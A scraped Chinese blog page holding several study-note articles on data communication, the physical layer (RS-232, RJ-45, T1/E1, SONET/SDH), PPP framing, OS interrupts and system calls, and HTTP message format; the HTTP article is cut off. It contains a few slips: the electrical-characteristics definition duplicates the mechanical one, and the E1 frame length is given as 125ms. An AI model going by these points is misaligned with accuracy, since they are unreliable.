指不搬移信号频谱的传输体制。频带传输    指利用调制解调器搬移信号频谱的传输体制。搬移频谱的目的是为了适应信道的频率特性。串行传输和并行传输按照传输数据的时空顺序,传输方式可分为两类:串行传输   指数据在一个信道上按位依次传输的方式。其特点是:① 所需线路数少,投资省,线路利用率高;② 在发送和接收端需要分别进行并/串和串/并转换;③ 收发之间必须实施同步。适用于远距离数据传输。并行传输    指数据在多个信道上同时传输的方式。其特点是:① 在终端装置和线路之间不需要对传输代码作时序变换;② 需要n条信道的传输设施,故其成本较高。适用于要求传输速率高的短距离数据传输。异步传输和同步传输 在串行传输时,每一个字符是按位串行地传送的,接收端要能准确地接收所传输的信息,必须知道:每一位的时间宽度(位同步)。每一个字符或字节的起始和结束(字符同步)。每一个完整的信息块(或帧)的起始和结束(帧或块同步) 。同步是使接收方按照发送方发送的每个位的起止时刻和速率来接收数据。通常采用异步传输或同步传输对信号进行同步处理。异步传输   被传送的每一个字符一般都附加有1个起始位和1个停止位,起始位与停止位的极性不同。为了保证正确接收,利用一个频率为传输比特率的n(=16)倍的时钟,在每一个比特周期的中心采样同步传输   通常不是独立地发送每个字符(每个字符都有自己的开始位和停止位),而是把它们组合起来称为数据帧(简称帧)进行传送区别:异步传输是面向字符的传输,而同步传输是面向比特的传输。异步传输的单位是字符,而同步传输的单位是帧。异步传输通过字符起止的起始位和停止位来实现,而同步传输则需从数据中抽取同步信息。异步传输对时序的要求较低,同步传输往往通过特定的时钟线路协调时序。异步传输相对于同步传输效率较低单工、半双工和全双工 按照数据信号在信道上的传送方向与时间的关系,传输方式可分为三类:单工    指两个站之间只能沿一个指定的方向传送数据信号。半双工    指两个站之间可以在两个方向上传送数据信号,但不能同时进行。又称“双向交替”模式。发/收之间的转向时间为20~50ms。全双工    指两个站之间可以在两个方向上同时传送数据信号。传输速率 传输速率指单位时间内传送的信息量,是衡量数据通信系统传输能力的一个重要指标。常用的传输速率有两种:调制速率(或波特率、码元速率)指单位时间内调制信号波形的变换次数。其单位是波特。 数据信号速率(或传信率、比特率)指单位时间内通过信道的信息量。其单位是比特/秒。n 为并行传输的通路数;Ti为第 i 路单位调制信号波的时间长度(秒);Mi为第 i 路调制信号波的状态数。 频带利用率 指单位传输带宽所能实现的传输速率。频带利用率是描述数据传输速率与带宽之间关系的一个指标。在衡量数据通信系统的效率时,既要考虑到传输速率,又要考虑到传输信号所占用频带宽度。因此,真正衡量数据传输系统信息传输效率的是频带利用率。 频带利用率通常与采用的调制及编码方式有关传输损伤和传输质量传输损伤数据信号在数据通信系统的端到端连接的每个环节都可能受到伤害,ITU称之为传输损伤。并推荐用误码、抖动、漂移、滑动和时延来表示。误码(Error)。指信号在传输过程中码元发生的差错,即接收与发送数字信号的单个数字之间的差异。抖动(Jitter)。指码元出现的时刻随时间频繁地变化,也就是各有效瞬间相对于理想时间位置的短时间偏移。漂移(Wander)。指码元各有效瞬间相对于理想时间位置的长期缓慢偏移。滑动(Slip)。指一个信号序列在传输过程中,不可恢复地丢失或增加若干码元。时延(Delay)。指信号的各有效瞬间相对于理想时间位置的滞后或推迟。传输损伤的成因:源于外界环境干扰(温、湿度,电气和机械突发干扰)和设备内部的技术缺陷(时钟提取、复接等,设备反常和调节不佳等)。来自传输损伤之间的相互影响或转化传输质量 衰减:当信号沿传输媒体传播时,其部分能量转换成热能或被传输媒体所吸收,而导致信号强度不断减弱的现象。注意:分贝是相对差别的度量。系统中某些点的功率电平可用绝对功率来表示,其单位是dBm。m表示以1mW为参考的功率单位。信号功率电平也可用相对于某个基准点的电平来表示,其单位是dBr。r表示相对的意思。 失真:信号通过传输系统时,其波形可能发生畸变的现象称为失真。衰减失真(或振幅失真)由衰减随频率的变化而引起的失真。衰减失真来源于电缆及系统中的滤波器。   相位失真(或群延时失真)由线路的相位-频率特性的非线性或不同频率分量的传播速度不一致所引起的失真。上述失真对数据传输的主要影响是使得码元信号波形展宽,从而引起码间串扰现象。畸变:衰减和失真是引起信号波形畸变的主因。数据信号畸变有两种:规则畸变和不规则畸变。规则畸变   信号波形按一定的法则有规律地发生代码畸变。偏畸变正偏—使“1”时间伸长,而“0”时间缩短。负偏—使“1”时间缩短,而“0”时间伸长。特性畸变正特性畸变—使短“1”和短“0”两者都伸长。负特性畸变—使短“1”和短“0”两者都缩短。不规则畸变    信号波形无规律地发生代码畸变。噪声和干扰 噪声在数据信号的传输过程中,所引入的一些额外的非期望信号。噪声有四种类型:热噪声 由带电粒子在导电媒体中的布朗运 动引起的噪声。在1Hz带宽内,从热噪声源所得的噪声功率称为噪声密度。若认为噪声与频率无关,在系统带宽(Hz)内,热噪声功率可表示为                                                 交调噪声    由多个不同频率的输入信号共用同一传输媒体,而引起输入信号的频率和或差,以及这些频率的多倍数的组合的信号。交调噪声源于通信系统的非线性。串音    一条信号通路中的信号在另一条信号通路上产生的干扰信号。串音是由通信线路之间存在耦合现象所致。脉冲噪声    一种突发的振幅很大且持续时间很短,被耦合到信号通路中的非连续的尖峰脉冲引起的干扰信号。脉冲噪声来源于各种自然的和人为的电火花。脉冲噪声对话音通信的危害并不十分显著,然而它却是数据通信差错的主要根源 数字信号通过实际信道的情况 有失真,但可识别失真大,无法识别干扰环境干扰    指大气干扰(如雷电、电离层闪烁等)、城区人为干扰(如工业干扰、汽车干扰等)和非恶意的邻道干扰等; 人为恶意干扰  指带有恶意或敌意的人为干扰。信噪比   信噪比SNR 指信号通路某一点上的信号功率Ps与混在信号中的噪声功率PN之比值(常用对数表示)。SNR用来描述信号在传输过程中受到噪声影响的度量。此式也可以换算成电压幅值的关系,即20lg(Vs/Vn),其中Vs和Vn分别代表信号和噪声电压的“有效值”。信噪比一般是在接收端测量。误码率 平均误码率指单位时间内接收到的出错码元数占总码元数的比例。平均误码率与所选择的测量时间的分布和长短有关。在日常维护测试中,ITU规定测试时间为15min。对于二进制传输而言,因码元与比特等价,所以误码率又称误比特率。但多进制传输时,两者不等误码秒平均时间百分数 ITU-T建议用一个相当长的时间(TL)内确定的平均误码率超过某一误码阈值(BERth)和各个时间间隔(T0) 的平均百分数来度量误码损伤的严重程度。其中,TL的建议值为一个月。 若取T0=1s,BERth=0,当BER>BERth时,则称为误码秒。ITU要求误码秒平均时间百分数不得超过8%。若取T0=1s,BERth=1×10-3,当BER>BERth时,则称为严重误码秒。ITU要求严重误码秒平均时间百分数低于0.2%。通信编码 通信编码    指数据通信系统的内部信息(二进制数)与各种图形字符、操作控制字符以及识别报文组成和格式控制字符等的外部信息之间的对应关系所作的统一规定。常用的通信编码:国际5号码IA5(即ASCII码) 、EBCDIC码和国际电报2号码ITA2。我国汉字编码的国家标准是“信息交换用汉字编码字符集(GB2312-80)”。汉字转换成二进制编码分“外码”和“内码” 。汉字的内码一般由两个字节表示,把两个字节的最高位b8置成1,以便区别于ASCⅡ码。
0
0
0
浏览量578
爱喝奶茶的波波

物理层概述

基本介绍物理层是网络体系结构中的最低层,它既不是指连接计算机的具体物理设备,也不是指负责信号传输的具体物理介质,而是指在连接开放系统的物理媒体上为上一层(指数据链路层)提供传送比特流的一个物理连接。物理层的主要功能——为它的服务用户(即数据链路层的实体)在具体的物理介质上提供“透明”传输比特流的能力。 物理层的作用——尽可能屏蔽计算机网络使用的物理设备、传输介质和通信方式的差异,使得数据链路层不必去考虑物理设备和传输介质的具体特性,而只要考虑完成本层的协议和服务。四个重要特性物理层的协议与具体的物理设备、传输介质及通信手段有关。用于物理层的协议也常称为规程。物理层的许多协议是在OSI/RM公布以前制定的,并没有用OSI术语进行描述,只能将物理层实现的主要功能描述为与传输介质接口有关的四个重要特性:机械特性:主要定义物理连接的边界点,即接线器物理结构。规定所用接线器的形状和尺寸、插针或插孔的数目和排列次序、固定和锁定装置等。电气特性:主要定义物理连接的边界点,即接线器物理结构。规定所用接线器的形状和尺寸、插针或插孔的数目和排列次序、固定和锁定装置等。功能特性:主要对各接口信号线作出确切的功能定义以及相互间的操作关系规程特性 :主要规定接口各信号线之间的相互关系、动作顺序以及维护测试操作等内容。反映了在数据通信过程中,通信双方可能发生的各种可能事件。物理层的常用标准EIA RS-232RS-232-C接口的机械特性使用25芯接线器(与ISO 2110兼容)。在DTE侧采用针式(凸插头)结构,DCE侧采用孔式(凹插座)结构。实际使用可采用芯针较少的9芯接线器。RS-232-C接口的电气特性采用单端发送单端接收、双极性电源供电,其逻辑1电平为-5V~-15V,逻辑0电平为+5V~+15V,过渡区为-3V~+3V。噪声容限为2V。RS-232-C的接口电平不能和TTL、DTL输出、输入的电平(1为2.4V,0为0.4V)相兼容,而必须外加传输线驱动/接收器实现电平的转换。由于目前使用的多芯电缆线间电容为150pF/m,而信号线上最大负载电容应低于2500pF,所以,RS-232-C的最大传输距离为15m。实际的数据传输速率应根据传输距离和信道质量加以选择RS-232-C接口的功能特性信号线的功能定义见表5-6。信号线共20条,可分为四类:数据线(4条)、控制线(11条) 、定时线(3条)和地线(2条) 。其余5条是未定义或专用的。RS-232-C接口有主、辅两种信道。辅信道用于在互连设备之间传送一些辅助的控制信息,通常很少使用,其速率低于主信道。 RS-232-C接口的规程特性规程特性描述了在不同的条件下,各条信号线呈现“接通”(正电平,逻辑0)或“断开”(负电平,逻辑1)状态的顺序和关系。例如, DTE若想将数据发往传输线路,必须做到CC、CD、CA、CB这4条控制线全部呈“接通”状态,也就是既做到设备就绪,又做到线路就绪。由于RS-232-C对许多用户环境有所限制,而用户又迫切要求改善原有特性,如提高速率、增大距离、追加某些必要的功能(如环回测试)等。于是,EIA于1987年将C版本修订为D版本,1991年又修订为E版本,1997年再修订为F版本。因各版本修订内容不多,许多厂商仍用为原来的旧名称RS-232-C。EIA RS-449EIA RS-449 是为替代EIA RS-232-C而提出的物理层标准接口。由 3 个标准组成。RS-449 规定了接口的机械特性、功能特性的过程特性(相当于V.35)。RS-423-A 规定采用非平衡传输时(即所有的电路共用一个公共地)的电气特性。RS-422-A 规定采用平衡传输时(即所有的电路没有公共地)的电气特性 RS-449接口的机械特性使用37芯和9芯接线器,后者用于辅信道操作。 RS-449接口的电气特性RS-423-A规定了采用差动接收的非平衡电气连接特性。信号电平采用±6V的负逻辑,过渡区为-4~+4V。当传输距离为100m时,速率为10kb/s;距离为10m时,速率为300kb/s。RS-422-A规定了采用平衡电气连接特性,信号电平采用±6V 的负逻辑,过渡区为-2~+2V。传输距离为1000m时,速率为100kb/s;距离为10m时,速率可达10Mb/s。 RS-449接口的功能特性对30条信号线作了功能性定义。与RS-232-C相比,新增的信号线主要是为了解决环回测试和其他功能的问题。这些信号线包括:发送公共回线(SC)、接收公共回线(RC)、本地环路返回(LL)、远程环路返回(RL)和测试模式(TM)等。RS-449接口的规程特性沿用了RS-232-C的规程特性。RJ-45 RJ-45连接器指的是由IEC(60)603-7标准化的接插件标准定义的8芯的模块化插孔或插座,又称RJ-45插头。IEC (60)603-7是ISO/IEC 11801国际通用综合布线标准的连接硬件的参考标准。RJ-45插头是一种只能沿固定方向插入并自动防止脱落的塑料接头,俗称“水晶头”。RJ-45插头上的网线排序的两种方式T568A线序,用于网络设备需要交叉连接的场合。所谓“交叉”是指网线的一端按T568A线序连接,另一端按T568B线序连接。交叉连接适用于连接两个网络设备,如两台计算机、集线器或交换机之间。T568B线序,用于网络设备直通连接的场合。网线两端都使用T568B线序。直通连接适用于布线系统用户工作区的墙壁插座到计算机,以及两台不同网络设备之间的连接。RJ-45上各条网线的用途 线序功用线序功用1发送+5不用2发送-6接收-3接收+7不用4不用8不用注意:线序不能随意改动的。如果将线序随意搞乱,将1和3作为发送,2和4作为接收,那么这些线的抗干扰能力就会下降,从而不能保证网络的正常工作。第4芯和5芯可用于话音服务。数字传输系统 在早期电话网中,从市话局到用户电话机的用户线是采用最廉价的双绞线电缆的,而长途干线则采用频分复用FDM的模拟传输方式。与模拟通信相比,数字通信无论在传输质量上还是经济上都有明显的优势。目前,长途干线大都采用时分复用TDM的数字传输方式。PCM传输体制最初是为了在电话局之间的中继线上传送多路的电话由于历史原因,旧的数字传输系统存在许多缺点,最主要是两个方面:速率标准不统一:如果不对高次群的数字传输速率进行标准化,国际范围的基于光纤高速数据传输就很难实现。通信不是同步传输:在过去相当长的时间,为了节省经费,各国的数字网主要是采用准同步方式。 当数据传输的速率很高时,收发双方的时钟同步就成了很大的问题。 PCM有两个互不兼容的国际标准北美使用的T1系统,共有24个话路。每个话路的采样脉冲用7bit编码,信令码元用1bit,因此一个话路占用8比特。帧同步是在24路编码之后再加上1比特,这样每帧共有193比特。因为采样频率为8kHz,所以T1一次群的数据率为1.544Mb/s。欧洲使用的E1系统,每个时分复用帧(其长度T=125ms)被划分为32个相等的时隙,其编号为CH0~CH31。CH0作为帧同步,CH16用作传送信令。其余30个时隙作为用户使用的话路。每个时隙传送8比特,因此整个32个时隙共有256比特。同样取采样频率为8kHz,所以E1一次群的数据率为2.048Mb/s。我国采用E1标准。日本的一次群采用T1,但另立一套高次群的标准。当需要有更高的数据率时,可采用复用的方法。为了达到数据通信系统的有效、可靠工作,系统必须有一个性能良好的同步系统。在提出同步数字系列之前。在过去相当长的时间,为了节约经费,各国的数字网主要是采用准同步PDH方式。PDH采用脉冲填充法以补偿因频率不准确而造成的定时误差。当传输速率较低时,发收时钟的细微差异并不会造成严重的影响,但当数据传输速率不断提高,发收时钟的同步就显得十分重要,就成为一个亟待解决的问题。 同步光纤网 SONET1988年,美国首先提出采用光纤传输的物理层标准,取名为同步光纤网SONET (Synchronous Optical Network)。该标准规定:整个同步网络的各级时钟都来自一个非常精确的主时钟,如铯原子钟,精度优于±1×10-11。并对速率、光纤接口、操作和维护作了规定。SONET为光纤传输系统定义了同步传输的线路等级结构,第1级同步传送信号STS-1(Synchronous Transport Signal)的传输速率是51.84Mb/s。对光信号则称为第1级光载波OC-1(Optical Carrier)。 同步数字系列 SDH ITU-T于1988年以美国标准 SONET为基础,制订出国际标准同步数字系列 SDH 。一般可认为 SDH 与 SONET 是同义词。其主要区别是:SDH 的基本速率为 155.52 Mb/s,称为第 1 级同步传递模块 STM-1,相当于 SONET 体系中的 OC-3 速率。SONET/SDH规定标准光信号的波长为1310nm和1550nm。在物理层为宽带接口使用帧结构的传输技术。如SDH的帧结构为块状帧,其基本信号为STM-1,并可用N个STM-1复用组成STM-N。SDH简化了复用和分用技术,需要时可直接接入到低速支路。SDH还采用自愈混合环形网络结构,并与数字交接系统DACS结合使用,提高了通信网的灵活性和可靠性 SONET/SDH标准的意义使不同的数字传输体制在STM-1等级上获得了统一。第一次真正实现了数字传输体制上的世界性标准。已成为公认的新一代理想的传输网体制。SDH标准也适合微波和卫星传输体制。宽带接入技术由于因特网的应用也越来越广泛,使用因特网的用户也越来越多,当然用户要求因特网的速率也是越高越好。“宽带”尚无统一定义。通常有三种说法:①接入因特网远大于56kb/s的速率;②接入因特网要大于1Mb/s以上的速率;③美国联邦通信委员会FCC认为只要双向速率之和超过200kb/s的速率。目前普遍认为指传输速率超过1Mb/s、具备非拨号接入的、24小时连接的网络基础设施及服务 从宽带接入介质而言,宽带接入分为宽带有线接入和宽带无线接入两大类别。宽带有线接入技术包括 基于5/6类线的以太网接入技术基于铜线的xDSL技术 基于混合光纤/同轴电缆的接入技术 光纤接入技术基于5/6类线的以太网接入技术 以太网已成为普遍使用的网络技术。但是,传统以太网技术不属于接入网的范畴,而是属于用户驻地网领域。基于以太网技术的宽带接入网由局侧设备和用户侧设备组成。局侧设备一般位于小区内,或者位于商业大楼内。用户侧设备一般位于居民楼层内。局侧设备提供与IP骨干网的接口,用户侧设备提供与用户计算机相接的10/100BASE–T接口。局侧设备具有汇聚用户侧设备网管信息和计费功能5类线(CAT5),带宽100MHz,速率100MB/s,主要用于100BASE-T。超5类线(CAT5e),带宽155M,主要用于吉比特以太网。6类线(CAT6),带宽250M,用于架设10吉比特以太网,是未来发展的趋势。基于5/6类线的高速以太网接入技术特别适合中国国情,适于发展FTTZ,再以快速以太网连接到用户的接入方式(用户端速率为10Mb/s或100Mb/s)。基于铜线的xDSL技术xDSL技术是利用数字技术对现有的模拟电话用户线进行改造,使它能够承载宽带业务的一种技术。xDSL是各种数字用户线接入技术的统称。其中,DSL是数字用户线的缩写,而字母x作为前缀,用以表示在数字用户线上实现不同的宽带接入方案。基于混合光纤/同轴电缆接入技术光纤同轴混合HFC接入技术是一种综合应用模拟和数字传输技术、同轴电缆和光缆技术、射频技术等高度分布式的接入网技术。它是电信网和有线电视网相结合的产物,是最先成熟和进入市场的宽带接入技术。HFC网除可接收CATV电视信号外,还提供电话、数据和其他宽带交互型业务。传统有线电视网CATV是树形拓扑结构的同轴电缆网络,它采用模拟技术的频分复用对电视节目进行单向传输。而HFC网则需要对CATV 网进行改造。基于HFC接入技术HFC网的优点是有很宽的频带。并且能够利用已经有相当大的覆盖面的有线电视网。将现有的450MHz 单向传输的有线电视网络改造为750 MHz 双向传输的HFC网。HFC网的缺点是:①采用树状结构,安全保密性差;②采用双向传输,频率干扰问题不容忽视;③HFC网的上行信道是所有用户共享的,容易出现信道访问的冲突问题。 光纤接入技术光纤接入网是指接入网中的传输媒体为光纤的接入网。光纤接入网可分为两大类:有源光网络AON和无源光网络PON。因PON可靠性高、维护方便、投资较低,多采用PON结构。目前流行PON结构有两种:一种是以太网无源光网络EPON,标准是802.3ah。EPON在链路层使用以太网协议,利用PON的拓扑结构实现以太网的接入。优点是与现有以太网兼容性好,且成本低,扩展性强,管理方便。另一种是吉比特无源光网络GPON,标准是ITU-T G.984。它采用通用封装方法,可承载多种业务,并能提供服务质量保证,是一种很有潜力的宽带光纤接入技术。
0
0
0
浏览量364
爱喝奶茶的波波

点对点协议PPP

标志(Flag)字段:PPP的定界符,取值为0x7E地址(Address)字段: 取值为0xFF,预留(目前没有什么作用)控制(Control)字段: 取值为0x03,预留(目前没有什么作用) 协议 (Protocol)字段: 指明的数据部分送交哪个协议处理取值0x0021表示:顿的数据部分为IP数据报取值0xC021表示:顿的数据部分为LCP分组取值0x8021表示:顿的数据部分为NCP分组帧检验序列 (Frame Check Sequence) 字段: CRC计算出的校验位 透明传输 透明传输 ->面向字节的异步链路采用插入转义字符的字节填充法 发送方的处理:        出现的每一个7E (PPP的定界符) 字节转变成2字节序列 (7D,5E)        出现的每一个7D (转义字符) 字节转变成2字节序列 (7D,5D)        出现的每一个ASCII码控制字符数值小于0x20的字符),则在该字符前面插入一个7D字 节,同时将该字符的编码加上0x20接收方的处理: 进行反变换即可恢复出原来的帧的数据部分透明传输-->面向比特的同步链路采用插入比特0的比特填充法 发送方的处理:        对帧的数据部分进行扫描(一般由硬件实现)。只要发现5个连续的比特1,则立即填充1个比特0接收方的处理:       对帧的数据部分进行扫描(一般由硬件实现)。只要发现5个连续的比特1,就把其后的1个比特0删除
0
0
0
浏览量482
爱喝奶茶的波波

操作系统(1)---操作系统的运行机制

1.CPU指令CPU的指令类型有特权指令与非特权指令。应用程序只能使用“非特权指令”,如:加法指令,减法指令等。操作系统内核作为“管理者”,有时会让CPU执行一些“特权指令”,如:内存清零指令。这些指令影响重大只允许“管理者”一即操作系统内核来使用。在CPU设计和生产的时候就划分了特权指令和非特权指令,因此CPU执行一条指令前就能判断出其类型,CPU是怎么判断出指令类型的呢?CPU有两种状态,“内核态”和“用户态”CPU 中有一个寄存器叫程序状态字寄存器(PSW),其中有个二进制位,1表示“内核态”,0示“用户态”处于内核态(核心态,管态)时,说明此时正在运行的是内核程序,此时可以执行特权指令处于用户态(目态)时,i说明此时正在运行的是应用程序,此时只能执行非特权指令2.内核态、初始态的切换内核态--->用户态: 执行一条特权指令--修改PSW的标志位为“用户态”,这个动作意味着操作系统将主动让出CPU使用权用户态--->内核态:由“中断”引发,硬件自动完成变态过程,触发中断信号意味着操作系统将强行夺回CPU的使用权,这种情况会发生在非法使用特权指令,或者操作系统需要开展某项管理工作,即操作系统需要介入,都需要触发中断信号。举个例子:(1)开机时,需要加载操作系统,进行操作系统的初始化工作,初始化工作就是由操作系统中某些内核程序完成的,所以CPU此时处在"内核态"(2)开机完成后,用户可以启动某个应用程序。(3)操作系统内核程序在合适的时候主动让出CPU,让该应用程序上CPU运行。操作系统内核在让出CPU之前,会用一条特权指令把 PSW 的标志位设置为“用户态”(4)应用程序运行在“用户态”(5)若此时植入一条特权指令,这个非法事件会引发一个中断信号,但CPU检查PSW的状态为“0”,处于“用户态”,CPU检测到中断信号后,会立即变为“核心态”,并停止运行当前的应用程序(拒绝执行这一植入的特权指令),转而运行处理中断信号的内核程序(6)操作系统会对引发中断的事件进行处理,处理完了再把CPU使用权交给别的应用程序3.中断机制的基本原理不同的中断信号,需要用不同的中断处理程序来处理。当CPU检测到中断信号后,会根据中断信号的类型去查询“中断向量表”,以此来找到相应的中断处理程序在内存中的存放位置。中断处理程序一定是内核程序,需要运行在“内核态”。4.中断的类型中断的类型由内中断与外中断。内中断(异常,例外)与当前执行的指令有关,中断信号来源于CPU内部。内中断:内中断,也称为异常,有以下几种类型:陷阱、陷入:由陷入指令引发,是应用程序故意引发的故障:由错误条件引起的,可能被内核程序修复。内核程序修复故障后会把 CPU使用权还给应用程序,让它继续执行下去。如: 缺页故障。终止:由致命错误引起,内核程序无法修复该错误,因此一般不再将CPU使用权还给引发终止的应用程序,而是直接终止该应用程序。如:整数除0、非法使用特权指令。内中断的例子:1.由非法植入的特权指令引起的中断(终止)2.除法指令中发现除数为0,也会引起内中断(终止)。3.有时候应用程序想请求操作系统内核的服务,此时会执行一条特殊的指令--陷入指令,该指令会引发一个内部中断信号。("系统调用"就是通过陷入指令完成的)注:陷入指令是一条特殊的指令,不是特权指所以若当前执行的指令是非法的,则会引发一个中断信号。注:CPU在执行指令时会检查是否有异常发生这里补充一下系统调用:操作系统作为用户和计算机硬件之间的接口,需要向上提供一些简单易用的服务。主要包括命令接口和程序接口。其中,程序接口由一组系统调用组成。“系统调用”是操作系统提供给应用程序(程序员/编程人员)使用的接口,可以理解为一种可供应用程序调用的特殊函数,应用程序可以通过系统调用来请求获得操作系统内核的服务系统调用的作用:操作系统内核会对共享资源进行统一的管理,并向上提供“系统调用”,用户进程想要使用打印机这种共享资源,只能通过系统调用向操作系统内核发出请求。内核会对各个请求进行协调处理。应用程序通过系统调用请求操作系统的服务。而系统中的各种共享资源都由操作系统内核统一掌管,因此凡是与共享资源有关的操作(如存储分配、I/O操作、文件管理等),都必须通过系统调用的方式向操作系统内核提出服务请求,由操作系统内核代为完成。这样可以保证系统的稳定性和安全性,防止用户进行非法操作。高级语言的库函数,在底层也会使用到系统调用,所以系统调用是比高级语言的库函数更为底层的接口:注:不是所有的库函数都需要涉及系统调用不涉及系统调用的库函:如的“取绝对值”的函数涉及系统调用的库函数:如“创建一个新文件”的函数系统调用的过程:1.应用系统首先会执行传参指令,传参指令会将参数传递到寄存器中,传递多少参数取决于系统调用需要多少参数,操作系统会根据这些参数判断是哪种类型的服务。2.参数传递完毕后,应用程序会执行陷入指令,触发内中断信号,转入相应的中断处理程序一即系统调用的入口程序3.接下来CPU就会响应中断,进行系统调用入口程序的处理,此时CPU的状态由"用户态"转为"内核态",该程序会根据寄存器中的参数判断用户需要哪种系统调用服务。4.接下来CPU就会转入响应的系统调用处理程序进行处理。总结来讲就是:传递系统调用参数--->执行陷入指令(用户态)--->执行相应的内核请求程序处理系统调用(核心态)---->返口应用程序注意:1.陷入指令是在用户态执行的,执行陷入指令之后立即引发一个内中断,使CPU进入核心态2.发出系统调用请求是在用户态,而对系统调用的相应处理在核心态下进行外中断:外中断(中断)与当前执行的指令无关,中断信号来源于CPU外部。1.时钟中断---由时钟部件发来的中断信号。时钟部件每隔一个时间片(如 50ms) 会给CPU发送一个时钟中断信号,通过这个时钟中断信号就可以实现多道程序并发运行了。假设系统中想要并发执行两个应用程序,应用程序1执行自己的应用程序,直到50ms,时钟部件会向CPU发送中断信号,CPU收到中断信号会将“用户态”转变为“内核态”,在内核态下执行内核程序,处理中断信号,并且决定让另一个应用程序上CPU运行。所以切换应用程序2上CPU运行。这样两个应用程序就可以实现交替运行。2.I/O中断一一由输入/输出设备发来的中断信号。当输入输出任务完成时,向CPU发送中断信号。CPU收到中断信号,就会处理I/O中断中的内核程序。注:CPU在每一条指令执行结束后,都会理性检查是否有外中断信号。
0
0
0
浏览量1096
爱喝奶茶的波波

操作系统基础知识

本专栏主要是介绍操作系统基础相关知识和原理,帮助大家更好的需欸和了解操作系统的基础概念。
0
0
0
浏览量1429
爱喝奶茶的波波

网络纵横:计算机网络探秘与实践

深入探索计算机网络的基本概念、原理和应用,涵盖交换方式、性能指标、PPP、消息与信息、传输损伤与质量、数据链路层、物理层、网络层和IPv4等内容。为初学者和有基础的读者提供有益的知识和实践指导,助力在计算机网络领域的学习和应用。
0
0
0
浏览量1210
爱喝奶茶的波波

【HTTP完全注解】我绝对要让你看懂HTTP报文🫵

HTTP报文格式HTTP报文是简单的、面向行的字符序列,它承载了HTTP客户端发送请求和服务器返回响应的所有信息,其格式至HTTP/1.0首次定义以来一直沿用至今。在HTTP/2之前,报文在传输过程中都是使用纯文本,而不是二进制,而HTTP又是使用明文传输,因此非常容易就能窃取HTTP报文中的内容。在 HTTP/2 中这些问题得到了改善,报文被嵌入到了一个新的二进制结构——帧中,虽然报文被嵌入到了新的结构中,但每条报文的语义依旧不变,因此用之前的报文格式来理解 HTTP/2 报文仍旧有效。HTTP报文有请求、响应两种类型,它们都由起始行、消息头与消息体构成:· 报文的第一行被称为起始行,起始行是必须存在的,它包含了请求/响应的基本信息· 报文的第二行至空白行被称为消息头,消息头有些是可选的,有些则是必须的,它包含了一系列的key:value键值对(key不区分大小写),用来描述请求或响应的附加信息· 报文的空白行后一行至最后一行被称为消息体,消息体是可选的,它用来携带请求或响应需要上传/响应的具体内容在请求报文中起始行、消息头与消息体又被称为请求行、请求头以及请求体。在响应报文中起始行、消息头与消息体又被称为响应行、响应头以及响应体。目前HTTP的起始行和消息头仍是使用ASCII编码,而消息体则是根据消息头中的内容协商来决定具体编码方式。起始行报文中的第一行被称为起始行,它是必须存在的,包含了请求/响应的基本信息。起始行在请求报文中被称为请求行,在响应报文中又被称为响应行。请求行与响应行有很大的差别:· 请求行由Method(请求方法)、Path(请求资源路径,通常是一个 URL)以及HTTP/Version(HTTP版本)组成,它们使用空格分隔,以此区别· 响应行由HTTP/Version(HTTP版本)、Code(状态码)以及Message(返回消息)组成,它们也使用空格分隔,以此区别。MethodHTTP 定义了9个请求方法,以表明要对给定资源执行的操作,每个HTTP请求报文都必须使用一个请求方法来告诉服务器应该执行什么样的操作。请求方法操作GETGET 方法用于请求获取指定资源的信息,GET 请求应该只被用于获取数据。HEADHEAD请求与GET请求类似,但是服务器在响应中只返回响应头部信息,而不返回实际的资源内容。HEAD请求常用于获取资源的元数据,如资源的大小、修改时间等,而不需要获取实际的资源内容,以减少不必要的数据传输。POSTPOST 方法用于向服务器提交数据,POST请求通常会对服务器状态进行修改。PUTPUT 方法用于向服务器上传或更新指定资源的内容,PUT请求通常用于更新已存在的资源,如果资源不存在,则可以创建一个新资源。DELETEDELETE 方法用于请求删除服务器上指定的资源。PATCHPATCH 方法用于对资源进行部分修改。OPTIONSOPTIONS方法用于获取服务器支持的请求方法和资源的通信选项,当发送一个OPTIONS请求时,服务器会返回一个包含允许的请求方法、支持的头部字段等信息的响应。TRACETRACE请求用于追踪请求-响应的传输路径。当发送一个TRACE请求时,服务器会原样返回请求中的数据,这样客户端就可以查看中间代理服务器对请求的修改情况,用于诊断和调试网络传输问题。CONNECTCONNECT请求用于在客户端和服务器之间建立隧道连接,以此进行加密通信或代理服务器的连接。请求方法可以被分为安全/不安全的方法、幂等/不幂等的方法以及可被缓存/不可被缓存的方法。幂等的请求方法幂等的请求方法指的是同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。 在正确实现的条件下, GET , HEAD、PUT、DELETE、OPTIONS以及TRACE等方法都是幂等的方法。其他方法不幂等的原因如下:· CONNECT方法因为它涉及建立网络连接,而连接的状态可能会因多次执行而不同,所以它并不是幂等的方法。· POST用于向资源提交数据,多次执行相同的POST请求通常会导致资源状态的改变,因为每次请求可能会创建新的资源或者对现有资源进行修改。但是,具体是否幂等取决于服务器的实现,有些服务器可以对相同的POST请求进行幂等处理。· PATCH方法用于对资源进行局部更新,多次执行相同的PATCH请求通常会产生相同的结果,因为它们只是更新资源的一部分。但是,具体是否幂等取决于服务器的实现,因为某些情况下,多次执行相同的PATCH请求可能会导致不同的结果,例如,如果同时有其他并发请求影响了资源的状态。是否幂等请求方法幂等GET、HEAD、OPTIONS、PUT、DELETE、TRACE不幂等PATCH、CONNECT、POST安全的请求方法安全的请求方法指这些方法不会修改服务器的数据以及改变服务器的状态,也就是说,这是一个对服务器只读操作的方法。不难发现在正确实现的条件下,GET、HEAD 、 OPTIONS、TRACE都是对服务器只读操作的方法,因此它们是安全的方法。所有安全的方法都是幂等的,但并非所有幂等方法都是安全的,例如,PUT 和 DELETE 都是幂等的,但不是安全的。是否安全请求方法安全GET、HEAD、OPTIONS、TRACE不安全POST、PATCH、PUT、DELETE、CONNECT可被缓存的请求方法HTTP协议定义了一些请求方法,其中一些方法通常可以被缓存。 可被缓存的请求方法是那些在满足特定条件下,可以被缓存代理服务器(如HTTP缓存)缓存的方法。以下是常见的能否被缓存的HTTP请求方法:· GET、HEAD和OPTIONS方法: GET、HEAD和OPTIONS方法通常被认为是可缓存的,因为它们是幂等且安全的,而且不会改变服务器状态。这意味着代理服务器可以缓存它们的响应,以提高性能并减轻服务器负载。· POST和PATCH方法:POST和PATCH方法的响应通常不会被缓存 